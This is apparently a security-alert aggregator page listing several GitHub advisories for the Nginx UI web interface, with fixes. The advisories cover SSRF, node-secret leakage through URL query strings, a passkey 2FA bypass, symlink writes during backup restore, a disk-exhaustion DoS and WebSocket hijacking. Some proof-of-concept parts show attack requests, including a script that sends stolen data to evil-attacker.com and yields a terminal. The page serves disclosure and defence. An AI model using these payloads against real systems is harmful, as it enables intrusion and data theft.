Where
-Infinity
0
Severity
9.9
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.

First published (updated )
Severity
8.8
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

1. Vulnerability Summary

nginx-ui's Node.Secret is a master credential that bypasses all JWT/password authentication for the entire API. The application accepts this credential via a URL query parameter (?nodesecret=), causing it to be recorded in plaintext in HTTP access logs, reverse proxy logs, browser history, and HTTP Referer headers. Additionally, the official cluster configuration format embeds node secrets directly into URL query strings stored in app.ini and environment variables, creating a systemic credential exposure pattern across the entire cluster deployment model.

An attacker who gains read access to any log aggregation system, proxy log, or configuration file can extract the node secret and obtain full, persistent, unauthenticated administrative access to the nginx-ui API — including reading TLS private keys, modifying nginx configurations, and (when chained with Bug #1) achieving OS-level code execution.

---

2. Root Cause Analysis

2.1 Node Secret Accepted as URL Query Parameter

The getNodeSecret function reads the credential from the URL query string as a fallback when the X-Node-Secret header is absent: 1

This function is called in both AuthRequired() and AuthRequiredWS() middleware, meaning the query parameter bypass works for all authenticated HTTP and WebSocket endpoints: 2 3

The same pattern is repeated in the WebSocket origin checker, which also reads nodesecret from the URL: 4

2.2 Node Secret Is a Full Authentication Bypass

The documentation explicitly states this is by design: 5

When the secret matches, the middleware sets the request context to an admin-level init user and calls c.Next() — bypassing all JWT validation, session checks, and 2FA: 2

2.3 Cluster Configuration Embeds Node Secrets in URLs

The official cluster configuration format, documented and used in app.example.ini, stores node secrets as URL query parameters: 6

The parseNodeUrl function extracts the secret from the URL's query string and stores it in the database as the node's Token field: 7

This means node secrets are embedded in: - app.ini on disk (readable by any process with filesystem access) - The NGINXUICLUSTERNODE environment variable (visible in ps aux, Docker inspect, Kubernetes pod specs, CI/CD logs) - The SQLite database nodes table as the token column in plaintext

2.4 Node Secret Generation Uses UUID

The secret is auto-generated as a UUID v4 if not set: 8

UUID v4 has 122 bits of entropy, which is adequate. However, the exposure surface described in this report makes entropy irrelevant — the secret is leaked through operational channels, not brute-forced.

---

3. Exposure Surface

The following table maps each exposure vector to its source in the codebase:

| Vector | How It Happens | Who Can See It | |---|---|---| | HTTP access logs | GET /api/settings?nodesecret=xxx logged by nginx/caddy/apache | Log readers, SIEM operators | | Application logs | Gin debug mode logs full request URLs | Server operators, log aggregators | | Browser history | Admin uses ?nodesecret= URL directly | Anyone with browser access | | HTTP Referer header | Page with ?nodesecret= in URL links to external resource | Third-party servers | | WebSocket URL logs | ws://host/api/ws?nodesecret=xxx logged by proxies | Proxy log readers | | app.ini on disk | Cluster node URLs contain nodesecret= | Filesystem readers | | Environment variables | NGINXUICLUSTERNODE=...&nodesecret=... | ps aux, Docker inspect, K8s pod specs | | CI/CD pipeline logs | Env vars printed during deployment | CI/CD log viewers | | Database | nodes.token column stored in plaintext SQLite | DB file readers |

---

4. Proof of Concept

Scenario A: Log-Based Secret Extraction

Step 1 — Attacker gains read access to nginx access logs (e.g., via a misconfigured log aggregator, a compromised monitoring account, or a separate vulnerability).

Step 2 — Search logs for the pattern:

bash grep -oP 'nodesecret=[^&\s"]+' /var/log/nginx/access.log Output: nodesecret=a1b2c3d4-e5f6-7890-abcd-ef1234567890

Step 3 — Use the extracted secret for full API access:

http GET /api/settings HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890

Response: Full settings JSON including JwtSecret, NodeSecret, all nginx paths, and all configured credentials.

http GET /api/nginx/config?filepath=/etc/nginx/nginx.conf HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890

Response: Full nginx configuration including any embedded credentials.

Scenario B: Environment Variable Exposure in Docker/Kubernetes

Step 1 — Attacker reads a Kubernetes pod spec or Docker Compose file:

yaml environment: - NGINXUICLUSTERNODE=http://10.0.0.1:9000?name=node1&nodesecret=my-node-secret&enabled=true

Step 2 — Extract the secret from the URL query string.

Step 3 — Authenticate to the target node:

http POST /api/nginx/test HTTP/1.1 Host: 10.0.0.1:9000 X-Node-Secret: my-node-secret

The attacker now has full admin access to the cluster node.

Scenario C: Referer Header Leak to Third-Party

Step 1 — Admin navigates to a page with ?nodesecret= in the URL.

Step 2 — That page contains a resource (image, script, analytics) from a third-party domain.

Step 3 — Browser sends:

http GET /analytics.js HTTP/1.1 Host: analytics.third-party.com Referer: https://nginx-ui.internal/api/settings?nodesecret=a1b2c3d4-...

The third-party server receives the node secret in the Referer header.

---

5. Impact

- Confidentiality: Full read access to all nginx configurations, TLS private keys, ACME account credentials, database contents, and all settings stored in app.ini. - Integrity: Full write access to all nginx configurations across all cluster nodes. An attacker can deploy malicious nginx configs, disable TLS, or redirect traffic. - Availability: An attacker can reload or restart nginx with a broken configuration, causing a denial of service. - Persistence: The node secret does not expire and has no revocation mechanism. Once leaked, it provides permanent access until manually rotated. - Cluster-wide blast radius: A single leaked node secret from one cluster member's logs can be used to authenticate to any other node that shares the same secret.

---

6. Affected Versions

All versions of nginx-ui where getNodeSecret reads from c.Query("nodesecret"). Present in the current dev branch. The cluster URL format with embedded nodesecret has been present since v2.0.0-beta.23.

---

7. Recommended Fixes

Fix 1 (Primary) — Remove query parameter support for nodesecret:

go // internal/middleware/middleware.go func getNodeSecret(c gin.Context) (secret string) { // Only accept via header, never via query parameter return c.GetHeader("X-Node-Secret") }

Apply the same change to isTrustedNodeRequest in websocketorigin.go.

Fix 2 — Redesign cluster node configuration format:

The cluster node URL format must not embed secrets in query parameters. Use a separate configuration key:

ini [cluster] Node = http://10.0.0.1:9000?name=node1&enabled=true NodeKey1 = <secret-for-node1>

Or store secrets in a separate secrets file with restricted permissions.

Fix 3 — Encrypt node tokens at rest:

The nodes.token column in the SQLite database stores secrets in plaintext. Encrypt using the CryptoSettings.Secret key before storage.

Fix 4 — Add secret rotation support:

Provide an API endpoint to rotate the Node.Secret and invalidate all existing sessions authenticated via the old secret.

---

8. Timeline

| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |

Citations

File: internal/middleware/middleware.go (L73-80) go // getNodeSecret from header or query func getNodeSecret(c gin.Context) (secret string) { if secret = c.GetHeader("X-Node-Secret"); secret != "" { return secret }

return c.Query("nodesecret") }

File: internal/middleware/middleware.go (L96-103) go // Check node secret authentication if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }

File: internal/middleware/middleware.go (L152-158) go if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }

File: internal/middleware/websocketorigin.go (L39-46) go func isTrustedNodeRequest(r http.Request) bool { secret := strings.TrimSpace(r.Header.Get("X-Node-Secret")) if secret == "" { secret = strings.TrimSpace(r.URL.Query().Get("nodesecret")) }

return secret != "" && secret == settings.NodeSettings.Secret }

File: docs/guide/config-server.md (L109-111) markdown This secret is used to authenticate the communication between the Nginx UI servers. Also, you can use this secret to access the Nginx UI API without a password.

File: app.example.ini (L45-48) text [cluster] Node = http://10.0.0.1:9000?name=node1&nodesecret=my-node-secret&enabled=true Node = http://10.0.0.2:9000?name=node2&nodesecret=my-node-secret&enabled=true Node = http://10.0.0.3?name=node3&nodesecret=my-node-secret&enabled=true

File: internal/cluster/cluster.go (L55-73) go func parseNodeUrl(nodeUrl string) (node model.Node, err error) { u, err := url.Parse(nodeUrl) if err != nil { return } var sb strings.Builder sb.WriteString(u.Scheme) sb.WriteString("://") sb.WriteString(u.Host) sb.WriteString(u.Path)

node = &model.Node{ Name: u.Query().Get("name"), URL: sb.String(), Token: u.Query().Get("nodesecret"), Enabled: u.Query().Get("enabled") == "true", }

return

File: internal/kernel/boot.go (L132-144) go func InitNodeSecret() { if settings.NodeSettings.Secret == "" { logger.Info("Secret is empty, generating...") uuidStr := uuid.New().String() err := settings.Update(func() { settings.NodeSettings.Secret = uuidStr }) if err != nil { logger.Error("Error save settings", err) } logger.Info("Generated Secret: ", uuidStr) } }

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

nginx-ui supports two second-factor methods — TOTP (OTP) and WebAuthn passkeys — and reports an account as 2FA-enabled when either is configured. However, the password login endpoint (POST /api/login) only enforces a second factor when a TOTP secret is present. An account that has registered a passkey but no TOTP is logged in after password verification alone — the passkey is never requested. This silently downgrades a passkey-protected account to single-factor (password-only) authentication.

Details

The account's 2FA policy treats passkeys as a valid factor (model/user.go):

go func (u User) EnabledOTP() bool { return len(u.OTPSecret) != 0 } func (u User) EnabledPasskey() bool { / true if a passkey row exists / } func (u User) Enabled2FA() bool { return u.EnabledOTP() || u.EnabledPasskey() }

func (u User) AfterFind( gorm.DB) error { u.EnabledTwoFA = u.Enabled2FA() // exposed to the UI as enabled2fa return nil }

But the login handler only checks EnabledOTP() (api/user/auth.go, Login):

go u, err := user.Login(json.Name, json.Password) ... if u.EnabledOTP() { // <-- only TOTP is enforced if json.OTP == "" && json.RecoveryCode == "" { c.JSON(http.StatusOK, LoginResponse{Message: "The user has enabled 2FA", Code: Enabled2FA}) // 199 user.BanIP(clientIP) return } if , err = user.VerifyOTP(u, json.OTP, json.RecoveryCode); err != nil { / ... / } secureSessionID = user.SetSecureSessionID(u.ID) }

// Passkey-only accounts fall through to here and receive a full session token: accessToken, err := user.GenerateJWT(u)

No branch requires a WebAuthn assertion during password login when EnabledPasskey() is true. The root cause is the mismatch between the policy definition (Enabled2FA() = OTP or passkey) and the enforcement check (EnabledOTP() only).

The same EnabledOTP()-only gating in RequireSecureSession() (internal/middleware/securesession.go) means passkey-only users are also exempted from step-up on sensitive actions.

Proof of Concept

Tested against nginx-ui built from source (go build -tags unembed) on 127.0.0.1:9000, with WebAuthn configured and a victim account that has a registered passkey and no TOTP. The vulnerable code is identical on the production main branch (api/user/auth.go Login gates on u.EnabledOTP() only; verified at commit 6c86e5a, 2026-05-17).

Account state advertised by GET /api/2fastatus:

json {"enabled":true,"otpstatus":false,"passkeystatus":true, ...}

Attacker logs in with password only (POST /api/login, encrypted params as the client normally sends):

HTTP 200 {"message":"ok","code":200,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...."}

code: 200 + a valid JWT = an authenticated session, with the passkey never used. For comparison, the identical account with a TOTP secret instead correctly returns the second-factor challenge:

HTTP 200 {"message":"The user has enabled 2FA","code":199}

| Account state | POST /api/login (password only) | |---|---| | Passkey registered, no TOTP | code 200 + JWT — 2FA NOT enforced | | TOTP registered | code 199 — 2FA challenge enforced |

This isolates the defect: the login path enforces OTP but ignores passkeys.

Impact

- Any account protected only by a passkey is reduced to password-only authentication. An attacker who obtains the password (phishing, reuse, leak) gains full access despite the registered security key. - In nginx-ui all authenticated users are effectively administrators and the terminal feature grants a host shell, so account takeover leads to full control of the managed nginx instance / host. - Users are given a false sense of security: the UI shows the account as 2FA-enabled while the second factor is not enforced at login.

Remediation

- Gate the second-factor decision on u.Enabled2FA() (not u.EnabledOTP()) in Login, in both SSO callbacks, and in RequireSecureSession(). - For a passkey-only user logging in with a password, return a "passkey assertion required" challenge and complete login only after a successful WebAuthn assertion (the beginpasskeylogin / finishpasskeylogin flow already exists and should be required as the second step). - Centralize session-token issuance so no login entry point can skip the 2FA decision.

Affected components

- api/user/auth.go — Login - model/user.go — EnabledOTP, EnabledPasskey, Enabled2FA, AfterFind - api/user/2fa.go — get2FAStatus - internal/middleware/securesession.go — RequireSecureSession

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary An authenticated user who can create and restore a backup can craft a valid backup archive that causes the restore staging process to write attacker-controlled files into the live Nginx configuration path even when both restorenginx and restorenginxui are set to false.

Details The restore flow always extracts the outer archive, verifies the manifest, decrypts nginx-ui.zip and nginx.zip, and extracts both inner archives before it decides whether RestoreNginx or RestoreNginxUI should be applied. The zip extractor explicitly allows absolute symlinks when the link target is under nginx.GetConfPath() or nginx.GetModulesPath(). Later regular-file entries are then created with os.OpenFile() on the symlinked path, which follows the symlink and writes into the live path.

Relevant code paths: - internal/backup/restore.go - internal/backup/restore.go - internal/backup/restore.go - internal/backup/restore.go - api/backup/restore.go - api/backup/backup.go

This means the restore trust boundary is broken during extraction. A restore request that explicitly opted out of restoring either Nginx or Nginx UI can still modify the live Nginx configuration tree during staging.

PoC I verified this locally in an isolated environment with a temporary package-level harness that exercised the real Backup() and Restore() implementations.

What the executed test did: 1. Created a temporary app.ini, database file, and a temporary live Nginx config directory. 2. Called the real Backup() implementation to obtain a valid backup archive plus AES key/IV. 3. Extracted the outer backup, decrypted nginx.zip, replaced it with a crafted zip containing: - a symlink entry link -> <live nginx conf dir> - a later regular file entry link/poc.conf 4. Recomputed manifest.json size/hash values for the modified encrypted nginx.zip and re-signed manifest.sig with the expected signing key derived from the AES key. 5. Repacked the outer archive and called the real Restore() implementation with: - RestoreNginx: false - RestoreNginxUI: false 6. Verified that <live nginx conf dir>/poc.conf was created anyway.

Observed result from the actual local verification: - The crafted restore completed successfully with both restore flags set to false. - The asserted sink was the existence and content of the live-path file written during restore staging.

Impact Any deployment that allows an authenticated user to create and restore backups is affected. A crafted restore archive can modify the live Nginx configuration path before either restore toggle is honored. This can lead to persistent configuration injection, denial of service on a later reload, or other follow-on impact depending on what files the deployment later consumes from the modified path.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

In Nginx UI versions 2.5.0 through 2.5.x, the node-signature authentication path staged an attacker-controlled request body in a temporary file and synchronized it to disk before validating the body digest and cryptographic signature. An unauthenticated remote client that can reach the API can provide syntactically valid signature metadata and cause storage and I/O consumption before the request is rejected.

Impact

Concurrent malicious requests can consume temporary filesystem capacity, disk I/O, and request-processing resources, potentially disrupting Nginx UI and other services that share the filesystem. The issue affects availability only; it does not bypass authentication and does not provide confidentiality or integrity impact. Deployment-specific reverse-proxy body limits, filesystem quotas, and concurrency limits may reduce practical impact.

Remediation

Upgrade to Nginx UI 2.6.0 or later. The fix authenticates signed request metadata before staging the body and enforces an application-level streaming size limit with cleanup for rejected requests.

Fix commit: https://github.com/0xJacky/nginx-ui/commit/8c9b9a1aff218ee6c980d047b750e49da3c46796

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.

Details

Vulnerable Code Pattern

Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:

go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginxlog/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/codecompletion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { return true // Accepts ALL origins }, }

Cookie-Based Authentication

The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):

typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite })

The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):

go func getToken(c gin.Context) (token string) { // ... if token, = c.Cookie("token"); token != "" { return token } return "" }

Affected Endpoints

All WebSocket endpoints under the authenticated router group are vulnerable:

| Endpoint | Impact | |---|---| | /api/nginx/detailstatus/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginxlog | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |

PoC

Environment Setup

yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config:

Attack Page (hosted on attacker-controlled domain)

html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGETNGINXUI:9000/api/nginx/detailstatus/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script>

Automated PoC Results

[+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stubstatusenabled":false,"running":true,"info":{"active":0,...}}

[+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processingstatus","data":{"indexscanning":false,...}}

[+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avgload":{"load1":0.1,"load5":0.2},"cpupercent":0.08,...}

[+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [] Sent username: root [+] Output: 'Password: '

[+] Control test (no auth): Correctly rejected with HTTP 403

Impact

An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:

1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. Triggers system operations -- including nginx reload/restart and binary upgrades

The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.

Remediation

1. Implement proper origin validation in all WebSocket upgraders:

go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, }

2. Set secure cookie attributes: typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })

3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203